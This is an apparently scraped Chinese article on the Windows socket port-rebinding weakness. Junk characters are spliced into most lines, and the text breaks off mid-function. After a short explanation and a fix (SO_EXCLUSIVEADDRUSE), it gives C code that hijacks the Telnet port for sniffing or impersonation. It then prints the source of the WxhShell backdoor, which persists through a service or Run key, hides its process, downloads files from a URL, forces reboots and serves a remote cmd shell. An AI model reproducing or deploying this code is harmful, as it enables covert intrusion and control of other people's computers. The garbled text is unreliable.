在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&W `." s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0k>bsn/j T?4MFx# saddr.sin_family = AF_INET;
\HF|&@}hU l ~CYxO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O68/Hf1W >B<jR$`6@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~OD}` 5,cq-` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.aV#W@iyK [~m@'/ 这意味着什么?意味着可以进行如下的攻击:
(S$ziV 9gVu:o 1/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rJH u~/_Dq 4/vQ/>c2j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b-ZC~#?|b piIj
t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}K1v=k P /|2s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!LB#K?I i%w[v_j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2L Kpwz? _Cn[|E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D@A@5pvS Teh
_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V<:scLm#OF 1(t{)Z< #include
7%DA0.g #include
bwN>E+ #include
&v9*D`7L #include
g:<2yT DWORD WINAPI ClientThread(LPVOID lpParam);
uflRW+-2 int main()
w6FtDl$ {
Iow45R~] WORD wVersionRequested;
s\&qvL1D DWORD ret;
-=5]B ; WSADATA wsaData;
is`O,Met BOOL val;
L-SWs8 SOCKADDR_IN saddr;
[C_Dv-d SOCKADDR_IN scaddr;
bDK%vx!_ int err;
86+nFk SOCKET s;
$;~ SOCKET sc;
93I.Wp_{ int caddsize;
(b!`klQ HANDLE mt;
U&x)Q DWORD tid;
O$SQzLZx& wVersionRequested = MAKEWORD( 2, 2 );
o m9zb&{tu err = WSAStartup( wVersionRequested, &wsaData );
3jx5Lou)& if ( err != 0 ) {
1:{BC2P printf("error!WSAStartup failed!\n");
y?Vsp< return -1;
";vP77|m7R }
eD<Kk 4){ saddr.sin_family = AF_INET;
lJ y\Ky(* 8<#S:O4kA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
b@9>1d$ ..u2IdEu saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
d9bc>5%-F saddr.sin_port = htons(23);
+,wCV2>\3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
( q8uB {
y*6-?@ printf("error!socket failed!\n");
b&iJui"7k return -1;
zI$24L9* }
hlIh(\JZ4s val = TRUE;
6xfG`7Az //SO_REUSEADDR选项就是可以实现端口重绑定的
FEoH$.4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F@C^nX9 {
s"jNS1B printf("error!setsockopt failed!\n");
sD_" return -1;
7E4Xvg+c }
g#Doed.30= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
k uEB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9bE/7v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'5:P,1tWU P R{y84$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e1d);m$ {
PNn-@=% ret=GetLastError();
Z,x9 { printf("error!bind failed!\n");
OI0tgkG return -1;
cag9f?w@V }
9[L@*7A`m listen(s,2);
$IdY(f:.:5 while(1)
$hCPmiI {
P#8]m( caddsize = sizeof(scaddr);
@qGg=)T //接受连接请求
y%9Q]7&= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x?|C-v if(sc!=INVALID_SOCKET)
P@RUopu,i {
uI'g]18Hi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1zz.`.R2U if(mt==NULL)
^Z9v_qB {
jNO8n)a&p printf("Thread Creat Failed!\n");
wd=xs7Dz<p break;
Aj22t }
/p&)bL }
YflotlT} CloseHandle(mt);
cuw3}4m% }
4-YXXi} closesocket(s);
Q I.*6-( WSACleanup();
_`Abz2s return 0;
w|1Gb[ }
hVfiF DWORD WINAPI ClientThread(LPVOID lpParam)
h0N*hx {
(\^)@Y SOCKET ss = (SOCKET)lpParam;
kP6P/F|RcZ SOCKET sc;
;[_w&"[6a unsigned char buf[4096];
9t$%Tc#Z SOCKADDR_IN saddr;
I)-u)P?2x long num;
,u,]ab DWORD val;
?Z<2zm%qV DWORD ret;
iZ`1Dzxgk //如果是隐藏端口应用的话,可以在此处加一些判断
AlQ!Q)y<@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wFW2m saddr.sin_family = AF_INET;
?gSk%]S/! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
WAj26";M( saddr.sin_port = htons(23);
'9,14e6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n
^T_pqV?X {
]c8$% printf("error!socket failed!\n");
#0-!P+c[ return -1;
Z{ntF }
tk^1Ga3 val = 100;
ZOFBT(oV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x*#F|N4~', {
7eh|5e$@ ret = GetLastError();
ifu"e_^ return -1;
Bx&.Tj }
Bc4{$sc"O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;+-$=l3[a {
-(n[^48K ret = GetLastError();
c;w~ -7Q*| return -1;
6(4o}Sv }
9?*BN\E5S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A
a2*f[ {
^g,[#Rh printf("error!socket connect failed!\n");
S,5>g07-` closesocket(sc);
-{("mR&] closesocket(ss);
@JGP,445 return -1;
,>:U2% }
aEB_#1 while(1)
91/Q9xY {
\P[Y`LYL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n3WlZ!$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
11 NQR[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G0Iw-vf num = recv(ss,buf,4096,0);
6 W/`07' if(num>0)
rm7ANMB: send(sc,buf,num,0);
Zj(AJ* r else if(num==0)
b1cy$I break;
5%"V[lDx@ num = recv(sc,buf,4096,0);
H8=N@l if(num>0)
$z6_@`[ send(ss,buf,num,0);
`>o{P/HN else if(num==0)
KR}?H#% break;
fuW\bo3 }
!t"4!3 closesocket(ss);
Dm981t>wL closesocket(sc);
YP oSRA L return 0 ;
i$Ul(? }
.xCZ1|+gG 9X6h 1C+13LE$U ==========================================================
p
T?}Kc 3Tcms/n 下边附上一个代码,,WXhSHELL
X0HZH?V+ D\v+wp. ==========================================================
-_g0C^:<, "nynl'Ryk #include "stdafx.h"
#\{l"- z(O Nv#}p #include <stdio.h>
vO^m;[' #include <string.h>
`7E;VL^Y1 #include <windows.h>
u,ho7ht3( #include <winsock2.h>
i}f"yO+Q+
#include <winsvc.h>
B`)BZ,#p #include <urlmon.h>
w{8xpAqm l:~/<`o #pragma comment (lib, "Ws2_32.lib")
>Er|Jxy #pragma comment (lib, "urlmon.lib")
,Zx0%#6 6_o*y8s. #define MAX_USER 100 // 最大客户端连接数
5Pc;5
o0C #define BUF_SOCK 200 // sock buffer
6yG^p]zZ #define KEY_BUFF 255 // 输入 buffer
<d Wv?<o g/d<Zfq<{ #define REBOOT 0 // 重启
UW={[h{.|@ #define SHUTDOWN 1 // 关机
QE+g
j8 4\N;2N #define DEF_PORT 5000 // 监听端口
{
'eC`04E 1s&zMWC #define REG_LEN 16 // 注册表键长度
n+9=1Oo" #define SVC_LEN 80 // NT服务名长度
yWc$>ne[L ! I:%0D // 从dll定义API
9<?M8_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e)k9dOR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
HyQJXw?A: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`{h*/Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R%WCH?B<} M<Ncb // wxhshell配置信息
Qy<P463A(l struct WSCFG {
sE<V5`Z= int ws_port; // 监听端口
p`dU2gV char ws_passstr[REG_LEN]; // 口令
ys^oG$lq int ws_autoins; // 安装标记, 1=yes 0=no
|^I0dR/w: char ws_regname[REG_LEN]; // 注册表键名
qA7>vi% char ws_svcname[REG_LEN]; // 服务名
!-x$L>1$ char ws_svcdisp[SVC_LEN]; // 服务显示名
s c,Hq\$& char ws_svcdesc[SVC_LEN]; // 服务描述信息
^)S;xb9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
DPxM'7 int ws_downexe; // 下载执行标记, 1=yes 0=no
wmL'F:UP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
| j`@eF/" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P1 8hxXE3
x+:UN'"r };
re?,Wext\ 6'5 7 // default Wxhshell configuration
X7MM2V struct WSCFG wscfg={DEF_PORT,
VcYrK4 "xuhuanlingzhe",
dL 1tl 1,
HZB>{O "Wxhshell",
~H_/zK6e "Wxhshell",
TER=*"! "WxhShell Service",
VA>35w "Wrsky Windows CmdShell Service",
(`>+zT5aH "Please Input Your Password: ",
^7cGq+t 1,
\ a<h/4#| "
http://www.wrsky.com/wxhshell.exe",
}OR@~V{Gj "Wxhshell.exe"
t#})Awy^R };
qJs<#MQ2 wu!59pL // 消息定义模块
L#?Ek- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Yui3+}Ms char *msg_ws_prompt="\n\r? for help\n\r#>";
-HbC!wv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O,
wJR char *msg_ws_ext="\n\rExit.";
-UEZ#Q char *msg_ws_end="\n\rQuit.";
z+wA
rPxc char *msg_ws_boot="\n\rReboot...";
ItVWO:x&v char *msg_ws_poff="\n\rShutdown...";
".V$~n( char *msg_ws_down="\n\rSave to ";
#e1>H1eU rSk> char *msg_ws_err="\n\rErr!";
LVfF[ char *msg_ws_ok="\n\rOK!";
O2E/jj ,j{,h_Op char ExeFile[MAX_PATH];
gQg"j) int nUser = 0;
BWa,f8 HANDLE handles[MAX_USER];
Pb4X\9^ int OsIsNt;
Ad8n<zt| $E~`\o%Ev SERVICE_STATUS serviceStatus;
gIa+5\qYY SERVICE_STATUS_HANDLE hServiceStatusHandle;
.-c4wm} ->-KCd1b // 函数声明
Y|f[bw int Install(void);
W?R6ZAn int Uninstall(void);
pfD c9PMj int DownloadFile(char *sURL, SOCKET wsh);
VcO0sa f` int Boot(int flag);
cWsNr'MS* void HideProc(void);
Tod&&T'UW int GetOsVer(void);
ci.+pF int Wxhshell(SOCKET wsl);
2B[X,rL.pX void TalkWithClient(void *cs);
TH&U
j1 int CmdShell(SOCKET sock);
b9J_1Gl] int StartFromService(void);
XB^'K2 int StartWxhshell(LPSTR lpCmdLine);
KNvZm;Q6 _[c0)2h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]d0BN`*U. VOID WINAPI NTServiceHandler( DWORD fdwControl );
#ym'AN 4{U T!WIi // 数据结构和表定义
9@(PWz=`? SERVICE_TABLE_ENTRY DispatchTable[] =
feDlH[$ {
EoR}Af {wscfg.ws_svcname, NTServiceMain},
x.!V^HQSN {NULL, NULL}
]?kZni8j_ };
l'-Bu( $oID(P // 自我安装
.+3g*Dv{& int Install(void)
*=/ { HvJ {
{9&;Q|D z char svExeFile[MAX_PATH];
W.f/pu HKEY key;
&tLgG4pd strcpy(svExeFile,ExeFile);
;~)5s' x:NY\._ // 如果是win9x系统,修改注册表设为自启动
pk$l+sNZ= if(!OsIsNt) {
; ; OAQ` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D&&9^t9S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_ @NL;w:! RegCloseKey(key);
NdA[C|_8}f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&ZlVWK~v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
45@ I *` RegCloseKey(key);
w7.V6S$Ga return 0;
58tARL Dr }
~ ?Qe?hB }
T= y}y }
O~#!l"0 L+ else {
1y@i}<9F ah4N|zJ>v // 如果是NT以上系统,安装为系统服务
r"3=44St SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0y'H~( if (schSCManager!=0)
wj$<t'MN {
v!-/&}W)1 SC_HANDLE schService = CreateService
wY{-BuXv (
G#q@v(_b schSCManager,
.GPT!lDc wscfg.ws_svcname,
V5nwu# wscfg.ws_svcdisp,
hP%M?MKC SERVICE_ALL_ACCESS,
njB;&N)I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E!)xj.aS$ SERVICE_AUTO_START,
w,p
PYf/t SERVICE_ERROR_NORMAL,
ouvA~/5 svExeFile,
JQ_sUYh~3 NULL,
zOAd~E NULL,
iJ)_RSFK NULL,
`iFmrC< NULL,
Wq D4YGN NULL
"rALt~AX );
FJGlP&v< if (schService!=0)
Fbr;{T
. {
6m/r+?' CloseServiceHandle(schService);
1Z/(G1 CloseServiceHandle(schSCManager);
IYE~t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hlvK5Z strcat(svExeFile,wscfg.ws_svcname);
t9GR69v:? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oz\!V*CtK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c)6m$5] RegCloseKey(key);
Y!aSs3c return 0;
|#v7/$! }
Y#ap* }
> ym,{EHK CloseServiceHandle(schSCManager);
dK$XNi13.5 }
q<x/Hat) }
/e5O"@ 60^`JVGWH return 1;
<6%?OJhp }
bi',j0B hIYNhZv // 自我卸载
x xHY+(m int Uninstall(void)
<yV"6/l0 {
h6L&\~pf HKEY key;
nSDMOyj+ gMi0FO' if(!OsIsNt) {
)J o:pkM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(U DnsF RegDeleteValue(key,wscfg.ws_regname);
T=
8 0, RegCloseKey(key);
nmee 'oEw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
].avItg RegDeleteValue(key,wscfg.ws_regname);
hk;5w{t}} RegCloseKey(key);
E<rp7~# return 0;
'0;l]/i. }
>>4qJ%bL }
x;O[c3I }
F>Ah0U0 else {
R+hU8 pu O#4&8>;= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~Py`P'+ if (schSCManager!=0)
\{_q.;} {
~f2z]JLr: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mX"oW_EK if (schService!=0)
YsC>i`n9 {
tH@Erh|% if(DeleteService(schService)!=0) {
YR\fa Vk CloseServiceHandle(schService);
c1(RuP:S CloseServiceHandle(schSCManager);
+%z>H"J. return 0;
5+4IN5o]= }
a@K%06A;' CloseServiceHandle(schService);
@Rze|
T. }
5:[0z5Hww CloseServiceHandle(schSCManager);
98c(< }
Lz}OwKl }
4/~E4"8 C\3rJy(VJ return 1;
:(*V?WI }
a'yK~;+_9 }l} Bo.C // 从指定url下载文件
68C%B9.b' int DownloadFile(char *sURL, SOCKET wsh)
dn$!& {
q ,]L$ HRESULT hr;
}Sh?S]]` char seps[]= "/";
l L@XM2" char *token;
^KT Y? char *file;
B!L{ char myURL[MAX_PATH];
1JG'%8}#8 char myFILE[MAX_PATH];
C{xaENp ywmo#qYe strcpy(myURL,sURL);
h_,i&d@( token=strtok(myURL,seps);
YWO)HsjP while(token!=NULL)
u.m[u)HQ {
czgO ;3-C file=token;
aP@N)" token=strtok(NULL,seps);
LxSpctiNx }
x,pjpx fW1CFRHH GetCurrentDirectory(MAX_PATH,myFILE);
Ee%%d strcat(myFILE, "\\");
4-y:/8 strcat(myFILE, file);
`*N[jm" send(wsh,myFILE,strlen(myFILE),0);
o&)8o5 send(wsh,"...",3,0);
6@F9G4<Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)e=D(qd if(hr==S_OK)
WH@,kH@ return 0;
V]e 8a"/[{ else
tOd&!HYL return 1;
~#[yJNYQ JT~4mT }
9FF0%*tGo AI2~Jp // 系统电源模块
>e
lJkq| int Boot(int flag)
m1b?J3 {
;2G*wR HANDLE hToken;
Q(G#W+r TOKEN_PRIVILEGES tkp;
>k|5Okq g A]*}HZ, if(OsIsNt) {
$Ph|e)p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"%)qRe LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1pVS&0W tkp.PrivilegeCount = 1;
*9
{PEx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
n>z9K') AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UJUEYG if(flag==REBOOT) {
WH%g(6w1j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LPXi+zj return 0;
$L`d&$Vh }
Y+pHd\$-4 else {
_=r6=. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3l]lwV return 0;
RIR\']WN }
6dQ-HI*Y# }
?Rb9|`6 else {
yNBQGSH if(flag==REBOOT) {
]Ee?6]bN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
E#34Wh2z return 0;
k:i4=5^*GX }
/A\8 mL8 else {
;7*[Bcj. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{L971W_L return 0;
@)F )S7 }
E,Z$pKL? }
D_ 2:k'4 2y\E[j A return 1;
=HK!(C }
AOZP*\k krxo"WgD // win9x进程隐藏模块
'6`3(TK.a void HideProc(void)
UXz<)RvB {
sjTZF- T"Y+m-<% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
TprTWod2]t if ( hKernel != NULL )
;>hO+Wo {
r r %V.r;2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
iU918!!N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)}R0Y=e FreeLibrary(hKernel);
KkyVSoD\ }
5ta `%R_ , pfG return;
+^ac'Y)A }
NYUL:Tp ZoqZap6e // 获取操作系统版本
2W(s(-hD int GetOsVer(void)
P5V}#;v {
8nqG<!,q OSVERSIONINFO winfo;
N% B>M7-= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]m q|w GetVersionEx(&winfo);
M?49TOQA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G>=*yqo
return 1;
rKc9b<Ir else
h4}84}5d return 0;
1.hyCTnI }
*>}@7}f S13nL^=i // 客户端句柄模块
gVuFHHeUz int Wxhshell(SOCKET wsl)
QIEJ6` {
=XQ%t
@z0 SOCKET wsh;
R29~~IOqO struct sockaddr_in client;
]/6z;
~3U DWORD myID;
gH vZVC[b }8z?t:|S while(nUser<MAX_USER)
}<r)~{UV {
dT8S~-d% int nSize=sizeof(client);
Or+U@vAnk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ru%y if(wsh==INVALID_SOCKET) return 1;
q`-N7 ,$T 3hH<T.@) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_VN?#J)o if(handles[nUser]==0)
`wVyb>T closesocket(wsh);
WH} y"W else
ITBE|b nUser++;
3
i0_hZ }
RqrdAkg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
T^KKy0ZGM 8nJpp return 0;
t:Q*gWRh }
j^JPZ{ej? =T@1@w // 关闭 socket
~!L}yw void CloseIt(SOCKET wsh)
7$=InK {
2ilQXy closesocket(wsh);
aFYIM`?( nUser--;
F41=b4/ ExitThread(0);
pnOAs&QAm }
eauF~md, KRzAy)8 // 客户端请求句柄
6_Y,eL]" void TalkWithClient(void *cs)
,qxu|9L {
jLluj :F?C)F SOCKET wsh=(SOCKET)cs;
}7Q% 6&IR char pwd[SVC_LEN];
T~e.PP char cmd[KEY_BUFF];
S1_RjMbYM char chr[1];
{wKB;?fUvk int i,j;
"to;\9lP 0 H:X3y+ while (nUser < MAX_USER) {
%ET+iIhK XL^GZ if(wscfg.ws_passstr) {
k_#)Tw* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|BXg/gW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2^7`mES //ZeroMemory(pwd,KEY_BUFF);
z{QqY.Gu{G i=0;
75lA%|
*X while(i<SVC_LEN) {
l/5
hp. oB7_O-3z // 设置超时
Pm7}"D'/ fd_set FdRead;
RRJ%:5& struct timeval TimeOut;
e0 ecD3 FD_ZERO(&FdRead);
:ws<-Qy FD_SET(wsh,&FdRead);
m&3xJuKih TimeOut.tv_sec=8;
R;LP:,) TimeOut.tv_usec=0;
pb,d'z\S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LS[]=Mk@1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
QT}tvm@PMq A#,ZUOPGH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.}+}8[p4l pwd
=chr[0]; BgT*icd8d
if(chr[0]==0xd || chr[0]==0xa) { H5an%kU|j
pwd=0; h68 xet;
break; ]?4hyN
} !G|@6W`
i++; Z\sDUJ
} "dlVk~
7_t'( /yu
// 如果是非法用户,关闭 socket /dHF6yW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *
y,v}-
} 46;uW{EY
+ZV5o&V>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hn:Crl y#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^nGtW%a 9
wL[
M:
while(1) { L/[K"
I-)4YQI
ZeroMemory(cmd,KEY_BUFF); 2<3K3uz
.+qpk*V\
// 自动支持客户端 telnet标准 \2z>?i)
j=0; }m8q}~>tL
while(j<KEY_BUFF) { Y);=TM6s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < %Y}R\s?
cmd[j]=chr[0]; 8Fub<UhJ
if(chr[0]==0xa || chr[0]==0xd) { 4M T 7 `sr
cmd[j]=0; qP
,EBE
break; '%;m?t%q
} vQ.R{!",>
j++; E-FUlOG&
} ry]l.@o;
xD 7]C|8o
// 下载文件 kx CSs7J/
if(strstr(cmd,"http://")) { \U0'P;em
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "M0z(NkH
if(DownloadFile(cmd,wsh)) Ul# r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_.|E]
else )5H?Vh>36
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FTldR;}(
} g2]Qv@nxw
else { @9:uqsL
'fW-Y!k%
switch(cmd[0]) { ; @X<lCk
,)io5nZF
// 帮助 9JwPSAo;
case '?': { R-14=|7a-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r|Z{-*`
break; ABkl%m6xf
} h`KU\X )A
// 安装 ,z6~?6m
case 'i': { |a@L}m
if(Install()) Zd&S@Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1x^GWtRp
else DwF hK*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :KO2| v\
break; z%kULTL
} R-Sym8c
// 卸载 2SLU:=<3
case 'r': { s^SJY{
if(Uninstall()) t<qiGDJ<d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;*(hY5&
else z{>Rc"%\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lfg6646?S
break; 4P0}+
} \v/[6&|X0s
// 显示 wxhshell 所在路径 v0y(58Rz.
case 'p': { ite~E5?#
char svExeFile[MAX_PATH]; SX*RP;vHy
strcpy(svExeFile,"\n\r"); aDCwI :Li(
strcat(svExeFile,ExeFile); 8i pez/
send(wsh,svExeFile,strlen(svExeFile),0); D,6:EV"sa
break; 'PHl$f*k
} E.f%H(b
// 重启 @WB@]-+J
T
case 'b': { {b{s<@?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DI%saw
if(Boot(REBOOT)) 1Z;iV<d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(HbGHIP
else { P* o9a
closesocket(wsh); 5X+A"X
;C
ExitThread(0); 0aAoV0fMDz
} v2?ZQeHr_(
break; S[N5 ikg
} F5Va+z,jg
// 关机 XilS!,
case 'd': { _j3f Ar(V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M_8{]uo
if(Boot(SHUTDOWN)) .u:GjL'$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wj+*E6o-n
else { yjAL\U7`T
closesocket(wsh); O84i;S+-p
ExitThread(0); Jb(H %NJ
} PM+[,H
break; ys~x$
} nlYNN/@"
// 获取shell +0~YP*I`/
case 's': { 2|L&DF:G
CmdShell(wsh); 6pzSp
closesocket(wsh); ! z**y}<T
ExitThread(0); E3i4=!Y
break; :0ep(<|;
} :
'c&,oLY
// 退出 {FGj]*
case 'x': { ~`/V(r;o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H. c7Nle
CloseIt(wsh); Jvi#)
break; y^k$Us
} `gJ(0#ac
// 离开 yr6V3],Tp
case 'q': { ?CZd Ol
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rUl+
closesocket(wsh); 9z0p5)]n>
WSACleanup(); >Q/Dk7 #
exit(1); TV:9bn?r)
break; ),)lzN%!
} N;d] 14|
} !<oe=)Iz|
} ~@!bsLSMU
z{6Z
11|
// 提示信息 FlQGgVN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N;R^h? '
} [RL9>n8f
} S@Y39
i1085ztN
return; s*4dxnS_8
} <$YlH@;)`a
"|NI]Kv
// shell模块句柄 =%7-ZH9
int CmdShell(SOCKET sock) *v`eUQ:
{ }b}m3i1
STARTUPINFO si; ~~.}ah/_d
ZeroMemory(&si,sizeof(si)); Pfh mo $
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "~nZ GiK
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Ly6`HZ9
PROCESS_INFORMATION ProcessInfo; @CoIaUVP
char cmdline[]="cmd"; 7=uj2.J6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2eogY#
return 0; :3PH8TL
} m~|40)
]|@^1we
// 自身启动模式 <q836]aaA
int StartFromService(void) _{>vTBU4F
{ ("@!>|H
typedef struct iscz}E,Y
{ qK+5NF|
DWORD ExitStatus; `^vE9nW7
DWORD PebBaseAddress; LeQjvW9y
DWORD AffinityMask; #tHK"20
DWORD BasePriority; )BE1Q*=
n
